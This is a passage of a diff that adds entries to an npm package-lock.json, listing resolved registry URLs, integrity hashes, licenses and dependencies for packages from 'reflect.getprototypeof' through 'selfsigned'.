"sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.8.tgz", + "integrity": "sha512-B5dj6usc5dkk8uFliwjwDHM8To5/QwdKz9JcBZ8Ic4G1f0YmeeJTtE/ZTdgRFPAfxZFiUaPhZ1Jcs4qeagItGQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "dunder-proto": "^1.0.0", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "gopd": "^1.2.0", + "which-builtin-type": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "license": "MIT" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz", + "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==", + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.9", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz", + "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==", + "license": "MIT" + }, + "node_modules/regenerator-transform": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz", + "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "dev": true, + "license": "MIT", + "dependencies": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/regex-parser": { + "version": "2.2.11", + "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.2.11.tgz", + "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q==", + "license": "MIT" + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.3.tgz", + "integrity": "sha512-vqlC04+RQoFalODCbCumG2xIOvapzVMHwsyIGM/SIE8fRhFFsXeH8/QQ+s0T0kDAhKc4k30s73/0ydkHQz6HlQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpp": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", + "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/regexpu-core": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.1.0.tgz", + "integrity": "sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA==", + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.0.1", + "regjsgen": "^0.6.0", + "regjsparser": "^0.8.2", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz", + "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==", + "license": "MIT" + }, + "node_modules/regjsparser": { + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz", + "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==", + "license": "BSD-2-Clause", + "dependencies": { + "jsesc": "~0.5.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/regjsparser/node_modules/jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==", + "bin": { + "jsesc": "bin/jsesc" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/remove-accents": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/remove-accents/-/remove-accents-0.4.2.tgz", + "integrity": "sha512-7pXIJqJOq5tFgG1A2Zxti3Ht8jJF337m4sowbuHsW30ZnkQFnDzy9qBNhgzX8ZLW4+UBcXiiR7SwR6pokHsxiA==", + "license": "MIT" + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "license": "MIT", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/repeat-element": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", + "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/request-progress": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/request-progress/-/request-progress-3.0.0.tgz", + "integrity": "sha512-MnWzEHHaxHO2iWiQuHrUPBi/1WeBf5PkxQqNyNvLl9VAYSdXkP8tQ3pBSeCPD+yw0v0Aq1zosWLz0BdeXpWwZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "throttleit": "^1.0.0" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "license": "MIT" + }, + "node_modules/resize-observer-polyfill": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/resize-observer-polyfill/-/resize-observer-polyfill-1.5.1.tgz", + "integrity": "sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "license": "MIT", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "license": "MIT", + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-cwd/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pathname": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-3.0.0.tgz", + "integrity": "sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==", + "license": "MIT" + }, + "node_modules/resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==", + "deprecated": "https://github.com/lydell/resolve-url#deprecated", + "dev": true, + "license": "MIT" + }, + "node_modules/resolve-url-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz", + "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==", + "license": "MIT", + "dependencies": { + "adjust-sourcemap-loader": "^4.0.0", + "convert-source-map": "^1.7.0", + "loader-utils": "^2.0.0", + "postcss": "^7.0.35", + "source-map": "0.6.1" + }, + "engines": { + "node": ">=8.9" + }, + "peerDependencies": { + "rework": "1.0.1", + "rework-visit": "1.0.0" + }, + "peerDependenciesMeta": { + "rework": { + "optional": true + }, + "rework-visit": { + "optional": true + } + } + }, + "node_modules/resolve-url-loader/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "license": "ISC" + }, + "node_modules/resolve-url-loader/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "license": "MIT", + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/resolve.exports": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz", + "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.3.0.tgz", + "integrity": "sha512-V2hovdzFbOi77/WajaSMXk2OLm+xNIeQdMMuB7icj7bk6zi2F8GGAxigcnDFpJHbNyNcgyJDiP+8nOrY5cZGrA==", + "dev": true, + "license": "MIT" + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rison": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/rison/-/rison-0.1.1.tgz", + "integrity": "sha512-8C+/PKKTaAYE2quDtOUwny/eQpNn9YGby7T80wntbVWSGvw0aUT9M0YgLdLkUgIQzQwaB1ZTr80rwLVKyohHig==", + "license": "Apache-2.0" + }, + "node_modules/rollup": { + "version": "2.76.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.76.0.tgz", + "integrity": "sha512-9jwRIEY1jOzKLj3nsY/yot41r19ITdQrhs+q3ggNWhr9TQgduHqANvPpS32RNpzGklJu3G1AJfvlZLi/6wFgWA==", + "license": "MIT", + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + }, + "peerDependencies": { + "rollup": "^2.0.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/rollup-plugin-terser/node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "license": "BSD-3-Clause", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/rollup-plugin-terser/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==", + "license": "BSD-3-Clause" + }, + "node_modules/rxjs": { + "version": "7.5.6", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.5.6.tgz", + "integrity": "sha512-dnyv2/YsXhnm461G+R/Pe5bWP41Nm6LBXEYWI6eiFP4fiwx6WRI/CD0zbdVAudd9xwLEF2IDcKXLHit0FYjUzw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/rxjs/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "dev": true, + "license": "0BSD" + }, + "node_modules/safe-array-concat": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.2.tgz", + "integrity": "sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "get-intrinsic": "^1.2.4", + "has-symbols": "^1.0.3", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-array-concat/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "license": "MIT" + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ret": "~0.1.10" + } + }, + "node_modules/safe-regex-test": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.3.tgz", + "integrity": "sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "is-regex": "^1.1.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/sanitize.css": { + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz", + "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA==", + "license": "CC0-1.0" + }, + "node_modules/sass": { + "version": "1.53.0", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.53.0.tgz", + "integrity": "sha512-zb/oMirbKhUgRQ0/GFz8TSAwRq2IlR29vOUJZOx0l8sV+CkHUfHa4u5nqrG+1VceZp7Jfj59SVW9ogdhTvJDcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "chokidar": ">=3.0.0 <4.0.0", + "immutable": "^4.0.0", + "source-map-js": ">=0.6.2 <2.0.0" + }, + "bin": { + "sass": "sass.js" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/sass-loader": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz", + "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==", + "license": "MIT", + "dependencies": { + "klona": "^2.0.4", + "neo-async": "^2.6.2" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "fibers": ">= 3.1.0", + "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "sass": "^1.3.0", + "sass-embedded": "*", + "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "fibers": { + "optional": true + }, + "node-sass": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + } + } + }, + "node_modules/sax": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "license": "ISC" + }, + "node_modules/saxes": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", + "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/schema-utils": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", + "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha512-AckIIV90rPDcBcglUwXPF3kg0P0qmPsPXAj6BBEENQE1p5yA1xfmDJzfi1Tappj37Pv2mVbKpL3Z1T+Nn7k1Qw==", + "dev": true, + "license": "MIT" + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg==", + "license": "MIT" + }, + "node_modules/selfsigned": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.0.1.tgz", + "integrity": 